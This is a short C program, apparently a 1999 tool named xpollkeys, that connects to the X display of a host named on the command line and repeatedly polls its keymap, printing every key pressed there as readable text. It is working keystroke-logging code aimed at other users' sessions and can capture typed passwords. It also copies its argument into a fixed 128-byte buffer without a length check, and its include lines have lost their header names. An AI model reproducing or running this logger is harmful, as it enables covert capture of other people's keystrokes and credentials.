/* Spiros Ioannou 1999*/ /* sivann@softlab.ece.ntua.gr */ #include #include #include #include #include main(int argc,char **argv) { int min, max, code; Display *disp; Window root, win; XEvent event; unsigned long value_mask; XKeyboardControl *values; char *c; char d[128]; unsigned char cur_keymap[32], prev_map[32]; if (argc !=2) { printf("Usage: xpollkeys \n"); exit(-1); } strcpy(d,argv[1]); strcat(d,":0.0"); if ((disp = XOpenDisplay(d)) == NULL) { perror("XOpenDisplay"); exit(errno); } root = DefaultRootWindow(disp); XDisplayKeycodes(disp, &min, &max); printf("Min code:%d, Max code:%d:total:%d keys\n", min, max, max - min); printf("---\n"); #define IS_DOWN(MAP,keycode) (int)((MAP[keycode/8]>>(keycode%8))&1) XQueryKeymap(disp, prev_map); while (1) { usleep(25000); XQueryKeymap(disp, cur_keymap); if (memcmp(cur_keymap, prev_map, 32) == 0) continue; for (code = min; code <= max; code++) if (IS_DOWN(cur_keymap, code) - IS_DOWN(prev_map, code) == 1) { /* printf("keycode:%d keysym:%d (%s)\n", code , XKeycodeToKeysym(disp,code,0), XKeysymToString(XKeycodeToKeysym(disp,code,0))); */ c=XKeysymToString(XKeycodeToKeysym(disp,code,0)); if (strstr(c,"eturn")) printf("\n"); else if (strstr(c,"space")) printf(" "); else if (strlen(c)>1) printf("<%s>",c); else printf("%s",c); fflush(stdout); } memcpy(prev_map, cur_keymap, 32); } }